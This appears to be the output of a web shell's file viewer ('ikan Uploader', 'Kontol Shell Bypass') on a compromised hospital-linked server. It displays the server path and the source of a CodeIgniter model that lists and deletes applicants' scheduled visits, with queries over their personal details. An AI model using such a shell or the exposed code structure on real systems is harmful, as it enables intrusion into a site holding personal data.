ikan Uploader :
Directory : /var/www/html/shardahospital.org/shardalms/api/application/models/
Upload File : |
| Current File : /var/www/html/shardahospital.org/shardalms/api/application/models/Schedule_model.php |
<?php
class Schedule_model extends CI_Model {
function lists($export=FALSE){
$qs=trim_array($this->input->get());
if($qs['k']){
$this->db->group_start()
->like('V.center', $qs['k'])
->or_like('A.name', $qs['k'])
->or_like('A.email', $qs['k'])
->or_like('A.mob', $qs['k'])
->or_like('AP.application_no', $qs['k'])
->group_end();
}
if($qs['venue_id']){
$this->db->where_in("SV.venue_id", $qs['venue_id']);
}
if($qs['fromDate']){
$this->db->where("SV.appoint_date >=", date('Y-m-d', strtotime($qs['fromDate'])));
}
if($qs['toDate']){
$this->db->where("SV.appoint_date <=", date('Y-m-d', strtotime($qs['toDate'])));
}
$this->db->select("SV.id, SV.appoint_date, V.center, A.name, A.email, A.mob, A.father_name, A.gender, A.dob, A.address, A.city, ST.title AS state, A.pincode, A.utm_source, AP.application_no, AP.step_completed, PP.title AS plan, P.title AS program, AC.title AS ac")
->from("scheduled_visits AS SV")
->join("master_appoint_venues AS V", "V.id=SV.venue_id")
->join("applicants AS A", "A.id=SV.applicant_id")
->join("master_states AS ST", "ST.id=A.state_id")
->join("applications AS AP", "AP.id=SV.application_id")
->join("master_program_plans AS PP", "PP.id=AP.plan_id")
->join("master_programs AS P", "P.id=PP.program_id")
->join("master_academic_careers AS AC", "AC.id=P.ac_id")
->order_by("SV.appoint_date", "ASC");
$ps=50;
if($export){
$ps=100000;
}
$rs=$this->dba->pagedRows($qs['p'], $ps, 5, $export?'0':'');
foreach($rs['result'] as &$r){
$r['appoint_date']=get_date($r['appoint_date']);
$r['dob']=get_date($r['dob']);
}
return $rs;
}
function detail($id){
return $dtl;
}
function delete($id){
$this->db->db_debug=FALSE;
return $this->db->delete("scheduled_visits", array('id'=>$id));
}
/** Venues */
function venues(){
$qs=trim_array($this->input->get());
if($qs['k']){
$this->db->like('center', $qs['k']);
}
$rs=$this->db->select("*")
->from("master_appoint_venues AS V")
->order_by("V.disp_odr")
->get()->result_array();
return $rs;
}
function venueDetail($id){
$rs=$this->db->get_where("master_appoint_venues", array('id'=>$id))->row_array();
return $rs;
}
function deleteVenue($id){
$this->db->db_debug=FALSE;
return $this->db->delete("master_appoint_venues", array('id'=>$id));
}
}
//End of file
Kontol Shell Bypass